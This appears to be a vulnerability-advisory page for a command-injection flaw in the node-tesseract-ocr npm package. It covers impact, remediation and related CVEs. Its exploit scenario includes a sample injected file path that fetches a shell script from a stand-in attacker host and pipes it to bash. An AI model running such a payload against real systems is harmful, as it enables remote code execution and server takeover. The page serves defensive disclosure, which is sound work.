Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessSupply malicious file path to recognize() function
-
ExploitPath concatenated into shell command string
-
ExecutionExecute arbitrary OS command via child_process.exec()
-
ImpactAchieve remote code execution with application privileges
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Remote unauthenticated attacker can exploit this by providing a malicious file path parameter to the recognize() function in node-tesseract-ocr versions ≤2.2.1. No user interaction required. Vulnerable if application passes untrusted user input directly to recognize() without sanitization. |
| Impact | This represents a critical real-world risk with a CVSS score of 9.8 and vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, indicating network-accessible exploitation requiring no authentication, low complexity, and no user interaction with complete impact to confidentiality, integrity, and availability. The existence of a public proof-of-concept repository (zebbernCVE/CVE-2026-26832) dramatically increases exploitation likelihood. Command injection vulnerabilities are highly automatable and can be trivially exploited once identified. All versions through 2.2.1 remain vulnerable as no patch has been released based on the available data. This should be treated as an emergency priority for any organization using this package, particularly in internet-facing applications processing user-supplied image files or file paths. |
| Exploit ScenarioDerived | An attacker identifies a web application using node-tesseract-ocr to process uploaded images for text extraction. By submitting a malicious filename or file path containing command injection payloads such as 'image.png; curl attacker.com/shell.sh | bash' through an upload form or API endpoint, the attacker triggers the vulnerable recognize() function. The unsanitized input is concatenated into the shell command executed by child_process.exec(), allowing the attacker to execute arbitrary commands with the privileges of the Node.js process, potentially leading to data exfiltration, malware installation, or complete server compromise. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 25, 2026
The node-tesseract-ocr npm package versions through 2.2.1 contains a critical OS command injection vulnerability in the recognize() function where file path parameters are concatenated into shell commands without sanitization before being passed to child_process.exec(). Attackers can achieve complete remote code execution with no authentication required. A proof-of-concept exploit exists at the GitHub repository linked in references (zebbernCVE/CVE-2026-26832), indicating active research into this vulnerability.
RemediationAI
As of this analysis, no patched version has been released for node-tesseract-ocr beyond version 2.2.1. Organizations should immediately audit their dependencies for this package and consider replacing it with alternative OCR libraries until a security update is available. As an immediate mitigation, implement strict input validation on any file paths before passing them to the recognize() function, specifically whitelisting allowed characters (alphanumeric, underscores, hyphens, periods) and rejecting paths containing shell metacharacters such as semicolons, pipes, backticks, dollar signs, and ampersands. Deploy the application in a sandboxed environment with minimal system privileges and use container security controls to limit the blast radius of potential command execution. Monitor the official GitHub repository at https://github.com/zapolnoch/node-tesseract-ocr for security patches and consider forking the package to implement sanitization if business continuity requires continued use.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This vulnerability affects node-tesseract-ocr, a Node.js wrapper for Tesseract OCR functionality published on npm. The root cause is CWE-78 (OS Command Injection) occurring in src/index.js where the recognize() function accepts user-controlled file paths and directly concatenates them into command strings executed via Node.js child_process.exec() without input validation or sanitization. This allows shell metacharacters and command separators to break out of the intended command context and execute arbitrary system commands. The affected package serves as a bridge between Node.js applications and the Tesseract OCR engine, making it common in document processing and image-to-text conversion workflows.
Know when Node.js gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
DescriptionCVE.org
node-tesseract-ocr is an npm package that provides a Node.js wrapper for Tesseract OCR. In all versions through 2.2.1, the recognize() function in src/index.js is vulnerable to OS Command Injection. The file path parameter is concatenated into a shell command string and passed to child_process.exec() without proper sanitization
Executive ViewAI
A critical remote code execution vulnerability exists in the node-tesseract-ocr npm package (versions through 2.2.1) that allows unauthenticated attackers to execute arbitrary commands on affected systems. Any application using this package for document processing is at immediate risk of complete system compromise, with active exploit code publicly available.
Implement strict input validation and file path whitelisting in application code before passing parameters to node-tesseract-ocr; run the application in a containerized environment with minimal privileges and filesystem restrictions; deploy Web Application Firewall (WAF) rules to block suspicious file path patterns in requests; segment network access so compromised instances cannot reach critical systems; disable OCR functionality temporarily if not business-critical; monitor process execution logs for suspicious child process spawning; consider disabling shell interpretation by reviewing and patching application code to use safer APIs that do not invoke shell execution.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation
A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
A vulnerability in NuPoint Messenger (NPM) of Mitel MiCollab through 9.8.0.33 allows an unauthenticated attacker to cond
EUVD-2026-15461
GHSA-8j44-735h-w4w2
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB